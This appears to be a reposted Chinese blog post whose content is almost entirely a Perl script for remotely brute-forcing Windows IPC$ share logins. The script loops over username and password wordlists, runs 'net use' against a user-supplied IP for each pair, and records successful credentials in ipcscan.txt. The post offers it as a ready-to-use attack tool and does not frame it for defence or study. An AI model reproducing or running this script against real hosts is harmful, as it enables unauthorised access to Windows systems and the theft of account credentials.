用perl调用系统命令来实现IPC$远程猜解(Reship)

liujjun

用perl调用系统命令来实现IPC$远程猜解

用perl调用系统命令来实现IPC$远程猜解，适合win2k以上的系统。 　　　　#usr/bin/perl -w 　　print "请输入要猜解的IP:"; $host=<STDIN>; chop($host); $file1="NT_USER"; $file2="NT_PASS"; open(FILE,"user.txt")||die "$file1文件是不是你搞丢了啊？自己重写一个吧\n" ; while(@user=<FILE>){ foreach $name(@user){ chomp($name); open(FILE,"pass.txt")||die "$file2文件是不是你搞丢了啊？自己重写一个吧\n" ; while(@pass=<FILE>){ foreach $password(@pass){ chop($password); print ("正在尝试   Name=$name    Pass=$password    "); #从这里往上不要我解释了吧 print "net use \\$host\ipc$ $password /user:$name"; $check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数，执行系统命令 if($check) { #判断连接是否成功 print "--------连接成功！！\n"; system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接，并打开文件写入 open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n"; print H "主机$host  用户名:$name 密码:$password \n"; close H; } print "\n"; } } } } print "结果已写入ipcscan.txt文件请查看\n";